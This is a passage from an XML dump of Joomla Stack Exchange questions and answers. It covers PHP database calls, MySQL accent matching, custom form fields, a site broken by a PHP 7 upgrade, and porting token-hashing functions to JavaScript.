(object)[&#xA;    'user_id'  =&amp;gt; $user-&amp;gt;primary_key,&#xA;    'group_id' =&amp;gt; $joomla_group&#xA;];&#xA;$user_gm_result = $db-&amp;gt;insertObject('#__user_usergroup_map', $user_gm);&#xA;&#xA;$user_sl = (object)[&#xA;    'id'       =&amp;gt; 0, // not sure if this is necessary&#xA;    'asset_id' =&amp;gt; 0,&#xA;    'jid'      =&amp;gt; $user-&amp;gt;primary_key,&#xA;    'sl_name'  =&amp;gt; $nUser,&#xA;    'sl_uuid'  =&amp;gt; $myuuid&#xA;];&#xA;$user_sl_result = $db-&amp;gt;insertObject('#__sljooma_user', $user_sl);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;after execution, $object-&gt;primary_key will be updated with the newly inserted row's primary key value.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;https://3v4l.org/gu5An&quot; rel=&quot;nofollow noreferrer&quot;&gt;a simple demo of points #2 and #3&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-12-26T11:01:31.373" LastActivityDate="2019-12-26T11:01:31.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26582" PostTypeId="1" CreationDate="2019-12-26T14:20:04.910" Score="1" ViewCount="57" Body="&lt;p&gt;With the following LIKE condition in my WHERE clause, I only get the exact match.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;. ' LIKE '. $db-&amp;gt;quote($db-&amp;gt;escape($artist)), 'AND') .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When &lt;code&gt;$artist&lt;/code&gt; is, for example &lt;code&gt;Beyoncé&lt;/code&gt;, it only returns a value when &lt;code&gt;$artist&lt;/code&gt; is exactly &lt;code&gt;Beyoncé&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to return a value as well when the database value is &lt;code&gt;Beyonce&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found solutions where there is no variable (something with &lt;code&gt;%&lt;/code&gt;), but I can't get this to work.&lt;/p&gt;&#xA;" OwnerUserId="14003" LastEditorUserId="12352" LastEditDate="2019-12-26T20:28:48.797" LastActivityDate="2019-12-28T18:12:52.823" Title="How to match database values regardless of accents on letters?" Tags="|joomla-3.x|mysql|unicode|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26583" PostTypeId="1" CreationDate="2019-12-27T08:26:22.460" Score="2" ViewCount="309" Body="&lt;p&gt;We got 2 tables where one table is parent and another table as a child with primary and foreign key reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume table1 is the parent and table2 is the child as below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;table1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id  &amp;lt;- primary key of table1&#xA;name  &amp;lt;- name field&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;table2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id  &amp;lt;- primary key of table2 auto increment&#xA;par_id  &amp;lt;- foreign key referring table1 default to NULL&#xA;position  &amp;lt;- posiiton field&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code snippet below is to update an existing record in the child table with par_id as NULL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$recObj = new stdClass ();&#xA;$recObj-&amp;gt;id = '1';&#xA;$recObj-&amp;gt;par_id=null&#xA;$recObj-&amp;gt;position=&quot;test position&quot;&#xA;&#xA;$db-&amp;gt;updateObject('#__table2', $recObj, 'id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the above code executes, it is not updating the par_id to null.  Instead the old value remains.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2019-12-27T13:38:46.087" Title="Unable to update NULL via updateObject" Tags="|joomla-3.x|database|sql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26584" PostTypeId="2" ParentId="26583" CreationDate="2019-12-27T08:35:17.167" Score="2" Body="&lt;p&gt;Found a way by adding an another parameter as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;updateObject('#__table2', $recObj, 'id', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 4th parameter determines whether null values can be used or not.  Default this will be set as false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/API17:JDatabase::updateObject&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/API17:JDatabase::updateObject&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="12352" LastEditDate="2019-12-27T13:06:12.653" LastActivityDate="2019-12-27T13:06:12.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26585" PostTypeId="2" ParentId="26583" CreationDate="2019-12-27T13:38:46.087" Score="1" Body="&lt;h2&gt;The way it should be done&lt;/h2&gt;&#xA;&lt;p&gt;For now (until they introduce full entities support somewhere in Joomla! 4.x) it is better to use &lt;code&gt;JTable&lt;/code&gt; to store &amp;quot;entities&amp;quot;. In that way you can simply set &lt;code&gt;$updateNulls&lt;/code&gt; parameter in &lt;code&gt;JTable::store()&lt;/code&gt; method o &lt;code&gt;true&lt;/code&gt;. It also simplifies a lot of CRUD and validate operations making your programming faster. You can read more in a &lt;a href=&quot;https://docs.joomla.org/Using_the_JTable_class&quot; rel=&quot;nofollow noreferrer&quot;&gt;JTable documentation&lt;/a&gt; or look for tables usage in core components.&lt;/p&gt;&#xA;&lt;h2&gt;How to perform nulls update in updateObject()&lt;/h2&gt;&#xA;&lt;p&gt;The second method is to provide the fourth parameter to &lt;code&gt;JDatabase::updateObject()&lt;/code&gt; method the way you did. As far as I remember it is used in &lt;code&gt;JTable::store()&lt;/code&gt; internaly.&lt;/p&gt;&#xA;&lt;h2&gt;If there is no API method for your case&lt;/h2&gt;&#xA;&lt;p&gt;As a last resort you can always run a direct query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$db = Factory::getDbo();&#xA;$q = $db-&amp;gt;getQuery(true);&#xA;$q&#xA;    -&amp;gt;update('#__table2')&#xA;    -&amp;gt;set('b = NULL')&#xA;    -&amp;gt;where('id=1');&#xA;$db-&amp;gt;setQuery($q);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-12-27T13:38:46.087" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26586" PostTypeId="2" ParentId="26582" CreationDate="2019-12-27T14:14:31.023" Score="1" Body="&lt;h2&gt;Method 1 - Store additional column&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First method is to store additional column in your artists table with only a latin characters in it (eg. &lt;code&gt;beyonce&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Method 2 - Update the LIKE query&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;MySQL have the ability to replace exacly one character with a wildcard. In your case the query would look like this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * &#xA;FROM `#__artists` &#xA;WHERE `artist` LIKE &quot;beyonc_&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This query would match:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Beyoncé&lt;/li&gt;&#xA;&lt;li&gt;Beyonce&lt;/li&gt;&#xA;&lt;li&gt;Beyonci&lt;/li&gt;&#xA;&lt;li&gt;Beyonct&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But would not match:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Beyonc&lt;/li&gt;&#xA;&lt;li&gt;Beyoncee&lt;/li&gt;&#xA;&lt;li&gt;Beyoncét&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Method 3 - Use a full text search&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Last method is to use &lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/fulltext-natural-language.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;full text search&lt;/a&gt;. It would require some changes in table. The columns you try to match against would need to be of type &lt;code&gt;Text&lt;/code&gt;. Then you can run a query like this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * &#xA;FROM `#__artists` &#xA;WHERE &#xA;    MATCH (`artist`) AGAINST ('Beyonce' IN NATURAL LANGUAGE MODE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should return all the results that match a string. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can provide a score column like this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;    *, MATCH (`artist`) AGAINST ('Beyonce' IN NATURAL LANGUAGE MODE) AS `score` &#xA;FROM `#__artists` &#xA;WHERE `score`&amp;gt;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and decide what results are best by checking &lt;code&gt;score&lt;/code&gt; column. To read more about full text search click the link above.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="3368" LastEditDate="2019-12-28T18:12:52.823" LastActivityDate="2019-12-28T18:12:52.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26587" PostTypeId="2" ParentId="26562" CreationDate="2019-12-27T18:27:32.473" Score="0" Body="&lt;p&gt;Not nearly enough info for me to make more than an educated guess, but is it possible you're editing the contact on the front-end? The contact form has the ID field defined as hidden on the front end, and if your template has a layout for that form that renders the fields of the form, and then adds a hidden element for the form's ID, that could cause it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why you're noticing it now despite it never being correct HTML to duplicate ID's, is that most browsers didn't start to care about the issue until the rise of javascript libraries and the single page app. The main thing duplicate IDs mess with is tacking javascript events on to elements. So long as the second occurrence has the correct value, the server will never know the difference; the browser will take the last value for a non-array field as gospel. We're finally emerging from the &quot;no harm, no foul&quot; approach to programming, so you can expect more of these notices to start showing up in your browser's console log. As an industry, we (web developers) have been way too sloppy for way too long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Root cause for that message is something in the code is rendering the same field twice. Without more information I can't say with any degree of certainty where the duplication is coming from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason behind my guess is the way the default_form.php file (components-&gt;com_contact-&gt;views-&gt;tmpl) is written in core Joomla. It walks through every field in the form, then adds a hidden field for the id manually after it all happens. I'm not in a position to test this at the moment, I'm afraid, but it's easily demonstrated by looking at the page source; if the first occurrance of the field is near the top of the form and the duplicated one is at the end, in the same div as the submit button, then that's probably the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Working off memory here, so double-check me on this before believing me; my memory has failed me before, but I seem to remember wondering about this when chasing something else and then failed to go back and check it after the current crisis had been dealt with.)&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-12-27T18:27:32.473" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26588" PostTypeId="2" ParentId="26578" CreationDate="2019-12-28T00:22:18.070" Score="1" Body="&lt;p&gt;The new format appears to be &lt;code&gt;addfieldprefix&lt;/code&gt; instead of &lt;code&gt;addfieldpath&lt;/code&gt;, using the namespace for your &lt;code&gt;Field&lt;/code&gt; directory: &lt;code&gt;addfieldprefix=&quot;MyCompany\Component\MyComponent\Administrator\Field&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2019-12-28T00:22:18.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26589" PostTypeId="1" AcceptedAnswerId="26597" CreationDate="2019-12-28T04:09:55.227" Score="0" ViewCount="264" Body="&lt;p&gt;I am creating a custom field extending JFormFieldList as below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Form field is defined as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field name=&quot;reltype_rev_id&quot; &#xA;           multiple=&quot;true&quot;&#xA;           type=&quot;customfield&quot;&#xA;           default=&quot;0&quot;&#xA;           label=&quot;Custom Field&quot;&#xA;           /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Options (data) for the field is formed as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getOptions($id='') {&#xA;    $options = [(object)['key' =&amp;gt; '', 'value' =&amp;gt; 'Custom Field']];&#xA;&#xA;    $val_1 = new stdClass();&#xA;    $val_1-&amp;gt;key='1';&#xA;    $val_1-&amp;gt;value='One';&#xA;&#xA;    $val_2 = new stdClass();&#xA;    $val_2-&amp;gt;key='2';&#xA;    $val_2-&amp;gt;value='Two';&#xA;&#xA;    $key_values = array($val_1, $val_2);&#xA;&#xA;    $options = array_merge($options, $key_values);&#xA;&#xA;    $default_values = array(1);&#xA;&#xA;    return JHtml::_('select.options', $options, 'key', 'value', $default_values);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can we mark some of the options as selected while forming the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output comes as below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KoXGX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KoXGX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optimized the code based on @zollie and the result is the same as shown in the above screenshot&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $data = array('1' =&amp;gt; 'One', '2' =&amp;gt; 'Two');&#xA;    return JHtmlSelect::options($data, 'value' , 'text', array('1'), false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2019-12-29T04:41:18.123" LastActivityDate="2019-12-29T09:07:20.023" Title="enable Selected option for a custom field extending JFormFieldList" Tags="|joomla-3.x|jform|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26591" PostTypeId="1" CreationDate="2019-12-28T16:26:20.770" Score="2" ViewCount="498" Body="&lt;p&gt;My father maintains a website for my sisters small business, recently he has been unable to login and the website only gives a blank page. Upon a little digging on my end I have found out his host upgraded to PHP 7, and the Joomla version has never been upgraded beyond its original install version (I think possible 3.4 or maybe even lower, but definitely 3.x).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have edited the configuration file to show errors, and see the following error now displayed on the home page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Cannot use Joomla\String\String as String because 'String' is a special class name in /home/[username]/public_html/libraries/vendor/joomla/registry/src/Format/Json.php on line 12&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From googling it seems this is due to conflict between old version of Joomla and PHP 7, but my problem is I am unable to upgrade it because administrator area is no longer accessible due to php errors, and the host has not made old versions of PHP available. I have downloaded a copy of the site and made a backup of the database so if need be I can do a fresh install, but if I do that I am not sure how to migrate the content from the old version into the new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did try Akeeba backup using a old backup of the site, but that just restored everything including the old broken version of Joomla. Other than redoing the site from scratch, are there any other options for me? I did try a manual upgrade but after overwriting all the files I still couldn't access administrator area.&lt;/p&gt;&#xA;" OwnerUserId="14006" LastEditorUserId="12352" LastEditDate="2019-12-28T22:59:00.517" LastActivityDate="2019-12-30T14:29:30.470" Title="Broken website due to outdated installation and host php upgrade - how to migrate/upgrade manually?" Tags="|joomla-3.4|upgrade|migration|php7|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26594" PostTypeId="2" ParentId="26591" CreationDate="2019-12-28T21:45:01.120" Score="2" Body="&lt;p&gt;I would suggest you switch back to the earlier version of PHP and upgrade the Joomla site to the latest level and then switch back to PHP 7.x  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you login to the hosting account for the website look for an option change the PHP level for the account. Under cPanel hosting accounts you will find it as PHP Selector or Multi-PHP and a quick google search showed a few tutorials for Plesk accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can ask the hosting company if they can switch the account back to the pre 7.x level while you get the Joomla installation up to date. It will only affect your site/account, not all of their other customers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience there is a default level of PHP set by the hosting company and unless you choose to use another level of PHP your PHP will get upgraded on their schedule which is what it sounds like has happened here. You can change that so you are no longer using the default level of PHP, which I do for my sites so I can decide when to move to the next level of PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP Selector and MultiPHP are two different products, and a nice hosting panel should only show the one they want you to use, but if you see both you need to work out which one is going to take affect, or again ask the hosting company support to regress the PHP level for you.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-12-28T22:41:38.633" LastActivityDate="2019-12-28T22:41:38.633" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26595" PostTypeId="1" AcceptedAnswerId="26596" CreationDate="2019-12-29T07:00:02.247" Score="0" ViewCount="42" Body="&lt;p&gt;I accidentally turned on &quot;yes&quot; to a debug language option in my global configuration page and I think it screwed up my admin page, see attached image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0ocmo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ocmo.jpg&quot; alt=&quot;omage shows my global configuration page&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get back to my default view?&lt;/p&gt;&#xA;" OwnerUserId="13734" LastEditorUserId="11451" LastEditDate="2020-01-25T21:38:11.807" LastActivityDate="2020-01-25T21:38:11.807" Title="my global configuration looks wrong" Tags="|global-configuration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26596" PostTypeId="2" ParentId="26595" CreationDate="2019-12-29T08:57:08.400" Score="2" Body="&lt;p&gt;Click on the &lt;code&gt;**mod_quickicon_global_configuration**&lt;/code&gt; and that should take you to the Global Configuration where you can select the second tab across, &lt;code&gt;**COM_CONFIG_SYSTEM**&lt;/code&gt;, and then change the second field under &lt;code&gt;**COM_CONFIG_DEBUG_SETTINGS**&lt;/code&gt; change to &lt;code&gt;**JNO**&lt;/code&gt; and then click Save. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can edit your configuration.php for your site and change     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $debug_lang = '1'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $debug_lang = '0';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-12-29T08:57:08.400" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26597" PostTypeId="2" ParentId="26589" CreationDate="2019-12-29T09:07:20.023" Score="2" Body="&lt;p&gt;If you're extending JFormFieldList then you don't need to use JHtml::_('select...) as well. Instead you just return an array of text/value combinations for the options of the HTML select. You can specify the default values by setting the protected variable &lt;code&gt;$value&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JFormFieldCustomfield extends JFormFieldList&#xA;&#xA;protected $type = 'Customfield';&#xA;&#xA;public function getOptions() {&#xA;&#xA;    $key_values = array(&#xA;        array('value' =&amp;gt; 1, 'text' =&amp;gt; 'One'),&#xA;        array('value' =&amp;gt; 2, 'text' =&amp;gt; 'Two'),&#xA;        array('value' =&amp;gt; 3, 'text' =&amp;gt; 'Three'),&#xA;    );&#xA;&#xA;    // merge with any options from the XML file&#xA;    $options = array_merge(parent::getOptions(), $key_values);&#xA;&#xA;    // pre-select values 2 and 3&#xA;    $this-&amp;gt;value = array(2, 3);&#xA;&#xA;    return $options; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(To allow you to select multiple values, you have to have &#xA;    multiple=&quot;true&quot;&#xA;in the XML file, as you already have).&#xA;See &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2019-12-29T09:07:20.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26598" PostTypeId="1" AcceptedAnswerId="26606" CreationDate="2019-12-29T09:52:31.573" Score="0" ViewCount="794" Body="&lt;p&gt;In my componenent on Joomla! 4, when i do an ajax request and that ajax request return an error or exception, i'am wondering how to display it into  enqueuemessage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is-there a way to do it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2023-04-27T12:02:40.530" Title="Send error or exception returned from ajax request to enqueuemessage" Tags="|javascript|joomla-4|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26599" PostTypeId="1" AcceptedAnswerId="26602" CreationDate="2019-12-30T10:01:31.917" Score="0" ViewCount="35" Body="&lt;p&gt;I'm looking for a plugin that will allow to have a dropdown social share menu, like the ShutterStock has&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GLPcR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GLPcR.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need next sharing options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Facebook&lt;/li&gt;&#xA;&lt;li&gt;Instagram&lt;/li&gt;&#xA;&lt;li&gt;Copy Link&lt;/li&gt;&#xA;&lt;li&gt;Email&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;probably, few more items will be added in the future. &#xA;Please advice how to get similar functionality.&lt;/p&gt;&#xA;" OwnerUserId="14012" LastActivityDate="2019-12-30T23:53:09.553" Title="Share article dropdown" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26600" PostTypeId="2" ParentId="26591" CreationDate="2019-12-30T14:29:30.470" Score="0" Body="&lt;p&gt;I ended up wiping and installing latest version of Joompa, recreating the articles from scratch, and importing the image gallery database and image files from a backup. If the site had more than a few articles then Zollie's suggestion to install a local copy of the environment using wamp and upgrading Joomla there and reuploading to the host seems like the best solution and possibly would of been quicker.&lt;/p&gt;&#xA;" OwnerUserId="14006" LastActivityDate="2019-12-30T14:29:30.470" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26601" PostTypeId="1" CreationDate="2019-12-30T20:46:50.570" Score="0" ViewCount="71" Body="&lt;p&gt;I am using the latest RS Form Pro with Joomla 3.9, Platform 13.1.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is working properly (thank you guys!) But the data should be limited to each user. The user ID is is not in the table specified in the code so I assume that's why you get to see everyone's commissions instead of just yours. The table with the user info is jos_users. When you enable an RSform module you specify &quot;login&quot; as to show only the users submissions. Does that matter? How can I adjust this? Many thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];&#xA;$monthlySums = array_fill_keys($months, 0);&#xA;&#xA;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&quot;FieldName, SUM(FieldValue) AS Sum&quot;)&#xA;    -&amp;gt;from(&quot;#__rsform_submission_values&quot;)&#xA;    -&amp;gt;where([&#xA;        &quot;FormId = 46&quot;, &#xA;        &quot;FieldName IN (&quot; . implode(',', $db-&amp;gt;q($months)) . &quot;)&quot;&#xA;    ])&#xA;    -&amp;gt;group(&quot;FieldName&quot;);&#xA;&#xA;//JFactory::getApplication()-&amp;gt;enqueueMessage($query-&amp;gt;dump(), 'info');  // never show dump() to public&#xA;&#xA;try {&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $objects = $db-&amp;gt;loadObjectList();&#xA;    foreach ($objects as $object) {&#xA;        $monthlySums[$object-&amp;gt;FieldName] += $object-&amp;gt;Sum;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');  // never show getMessage() to public&#xA;}&#xA;&#xA;foreach ($monthlySums as $month =&amp;gt; $sum) {&#xA;    echo &quot;&amp;lt;div&amp;gt;{$month}: {$sum}&amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;&#xA;SQL Query: &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13997" LastEditorUserId="13997" LastEditDate="2019-12-31T18:58:26.737" LastActivityDate="2019-12-31T18:58:26.737" Title="Code works properly but shows data for all users" Tags="|joomla-3.x|mysql|joomla-3.6|php7|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="26602" PostTypeId="2" ParentId="26599" CreationDate="2019-12-30T23:53:09.553" Score="1" Body="&lt;p&gt;The free &lt;a href=&quot;https://extensions.joomla.org/extension/addtoany-share-buttons/&quot; rel=&quot;nofollow noreferrer&quot;&gt;AddToAny Share Buttons&lt;/a&gt; has an option for sharing the link but you might need to customise the styling to your requirements. A plugin and a module are included.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-12-30T23:53:09.553" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26603" PostTypeId="1" CreationDate="2019-12-31T00:42:32.593" Score="0" ViewCount="44" Body="&lt;p&gt;Hello i am still learning but was wondering if anyone here could help i have the two function be low i would like to convert them to JS to store in an external file then be able to call one of the function when i need them from PHP. I'm sorry i'm just learning JS and have been looking in to doing them but keep hitting road blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be grateful for any help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//This is the Token decode function&#xA; function security_array_decode($myuuid, $token_salt)&#xA; {&#xA;   $s_array = array(); &#xA;   $i = 0;&#xA;    do {&#xA;     $untime = time() - $i;&#xA;     $arr = array($myuuid, $untime, $token_salt);&#xA;     $token_key = sha1(join(&quot;&quot;,$arr));&#xA;     $s_array[] = $token_key;&#xA;     $s_array[] = $untime;&#xA;     ++$i;&#xA;       } while ($i &amp;lt;= 5);&#xA;   return $s_array;&#xA;}&#xA;&#xA;&#xA;//This is the Token encode function&#xA;function security_array_encode($myuuid, $token_salt)&#xA;{&#xA;     $untime = time();&#xA;     $arr2 = array($myuuid, $untime, $token_salt);&#xA;     $token_key = sha1(join(&quot;&quot;,$arr2));&#xA;   return $token_key;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just Updating with code i have worked out, but not sure if it works just yet trying to work out how to call it from the below PHP.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function security_array_decode(myuuid, token_salt)&#xA;{&#xA;    var s_array = [];&#xA;    while (i &amp;lt; 5) {&#xA;       var d = new Date();&#xA;       var seconds = Math.round(d.getTime() / 1000) - i;&#xA;         var keys = [myuuid, seconds, token_salt];&#xA;           var token_key = SHA1(keys.join(''));&#xA;          s_array.push(token_key);&#xA;       i++;&#xA;    }&#xA;&#xA;    return s_array;&#xA;}&#xA;&#xA;function security_array_encode(myuuid, token_salt)&#xA;{&#xA;  var d = new Date();&#xA;  var seconds = Math.round(d.getTime() / 1000); &#xA;    var keys = [myuuid, seconds, token_salt];&#xA;      var token_key = SHA1(keys.join(''));&#xA;&#xA;    return token_key;&#xA;}&#xA;&#xA;/**&#xA;* Secure Hash Algorithm (SHA1)&#xA;* http://www.webtoolkit.info/&#xA;**/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the php where i need to call one of the function that will be stored in a .js file named security.js&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if(in_array($variables-&amp;gt;token, security_array_decode($variables-&amp;gt;uuid, $token_salt)))&#xA;  {&#xA;&#xA;  